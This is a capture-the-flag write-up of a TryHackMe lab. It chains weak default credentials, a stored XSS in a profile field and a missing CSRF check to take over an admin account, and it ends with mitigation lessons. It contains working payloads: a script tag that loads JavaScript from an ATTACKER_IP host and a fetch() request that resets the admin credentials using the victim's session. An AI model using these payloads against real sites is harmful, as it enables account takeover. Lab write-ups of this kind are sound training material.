root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat chaining-vulnerabilities.md
// Offensive

Chaining Vulnerabilities

1 Dec 2023 · 9 min read
Executive summary — Chaining Vulnerabilities is a TryHackMe room built around the art of chaining vulnerabilities: weak credentials open the door, a Stored XSS in the user profile lets us inject JavaScript, and the absence of CSRF protection means that script —executed in the administrator's browser— resets their credentials. The result is a full account takeover of the admin panel.
PlatformTryHackMe
Operating systemLinux / PHP
DifficultyEasy
RoomChaining Vulnerabilities
Target IP10.10.177.6

Attack map

[Login]  weak credentials  testuser:password123
   │  access as a low-privilege user
   ▼
[Edit Profile]  «Display Name» field  →  Stored XSS
   │  inject <script src=...> that loads a malicious JS
   ▼
[Attacker HTTP server]  script.js  →  POST to /update_email.php (CSRF)
   │  the admin's browser runs the stored XSS
   ▼
[CSRF]  admin email + password get reset  →  admin:pwnedadmin
   ▼
[Admin Panel]  log in as admin  →  flag

1. Initial access — weak credentials

The application lives at http://10.10.177.6/ and presents a Login form. The first link in the chain is the humblest: a test account left behind by oversight, with a trivial password.

# Open the application in your browser:
http://10.10.177.6/

# Test (default) credentials:
Username: testuser
Password: password123

Result: we log in as a low-privilege user. Not much on its own, but it's the foothold we need to reach the profile features.

Why it matters: a weak or default credential rarely grants direct access to anything critical, but it almost always opens the first door. In a chain, that minimal access is what enables everything else.

2. Discovering the Stored XSS

Once authenticated, we explore the user features and find Edit Profile. We try the classic detection payload in the Display Name field:

<script>alert(1)</script>

After saving and reloading, the alert(1) fires: the field reflects and stores the input unsanitized. This is a Stored XSS (persistent): the code is saved server-side and runs in the browser of anyone who views that profile.

Why a Stored XSS is so powerful: unlike reflected XSS, there's no need to trick the victim with a link. The payload is persisted and fires by itself the moment the victim —say, an administrator reviewing profiles— opens the affected page.

3. Building the XSS + CSRF chain

The real target is the Admin Panel. The idea: use the stored XSS so that, when the administrator visits the profile, their own browser issues a request that changes the admin credentials. Since the application doesn't protect /update_email.php with anti-CSRF tokens, that request will be accepted using the admin's valid session.

3.1. Prepare the malicious script

On the attacker machine we create script.js. It sends a POST to /update_email.php with credentials: 'include' so the browser attaches the admin's session cookie:

// script.js
fetch('/update_email.php', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type':'application/x-www-form-urlencoded'},
  body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});
The key to the CSRF: credentials: 'include' makes the request travel with the victim domain's cookies. If the server doesn't validate a CSRF token or check the origin, it can't tell this forged request apart from a legitimate one made by the administrator.

3.2. Host the script

We spin up a simple HTTP server on the attacker machine to serve script.js:

python3 -m http.server 8000

3.3. Inject the loader into the profile

We go back to Edit Profile and replace the Display Name with a <script> tag that loads our remote JS:

<script src="http://ATTACKER_IP:8000/script.js"></script>
Replace ATTACKER_IP with your AttackBox's IP. The profile now stores a loader that will fetch and run script.js in the browser of whoever opens it.

4. Firing the attack and waiting for the admin

The chain is set; we just need the administrator to view the profile. We watch our server logs to confirm the exact moment their browser requests the script:

# Watch for the admin's request for script.js
tail -f access.log

When this line appears, the guard has glanced through the window:

10.10.177.6 - - [18/Sep/2025 00:05:12] "GET /script.js HTTP/1.1" 200 -

That request (originating from 10.10.177.6, the victim itself) confirms the Stored XSS executed in the admin's browser, which in turn fired the CSRF POST against /update_email.php. The administrator's credentials are reset to pwnedadmin.

5. Taking over the admin panel

With the admin credentials overwritten, we return to the login and sign in as administrator:

# Browser:
http://10.10.177.6/

# Login form:
Username: admin
Password: pwnedadmin

The admin panel opens and the flag is revealed inside.

Q: What is the flag in the admin panel?
A: THM{57648b8e-3382-****-****-f125e128f8ab}

Q: What vulnerability enabled the attacker to force a change in the admin user's password?
A: Cross-Site Scripting (Stored XSS)

6. Alternate paths and pivoting

Real journeys fork. Had /update_email.php carried CSRF tokens, the same XSS could have been used to steal the administrator's session cookie or to trick them into other actions from their own session. Creative pivoting ensures no single roadblock ends the adventure.

Technical note (general public knowledge, not specific to this room): anti-CSRF tokens only stop cross-origin forgery, where the Same-Origin Policy keeps a page on another domain from reading the token. They do not stop this exact chain: a Stored XSS already executes same-origin, so the injected script could simply read the CSRF token out of the DOM (or the cookie, if it isn't flagged HttpOnly) and attach it to its own forged request. This is why OWASP considers XSS capable of defeating CSRF defenses outright — the real fix is input sanitization and a strict Content-Security-Policy, not anti-CSRF tokens alone.

Vulnerability summary

PhaseComponentVulnerabilityImpact
AuthenticationLogin formWeak / default credentials (testuser:password123)Foothold as a low-privilege user
WebEdit Profile → Display NameStored XSS (unsanitized input)Arbitrary JavaScript execution in other users' browsers (incl. admin)
Web/update_email.phpMissing CSRF protection (no token or origin check)Authenticated actions forced with the victim's session
ChainXSS + CSRFChaining → account takeoverAdmin credential reset and full panel compromise

Lessons learned

  • Weak credentials: test accounts and default passwords must be removed before production; they're the first link of almost any chain.
  • Sanitize all input: Stored XSS is born from reflecting and storing user data without encoding. Escape/validate output on every field, including «harmless» ones like the display name.
  • CSRF protection: every state-changing action (changing email, password, etc.) must require an anti-CSRF token and/or validate the origin. Without it, an XSS turns into a credential change.
  • The power of chaining: in isolation each flaw looks minor; together they form a direct path from the courtyard to the vault. Security is only as strong as its weakest link.
  • Trust model: assuming «only the admin will see this» is dangerous. A stored XSS turns an administrator's glance into attacker code execution.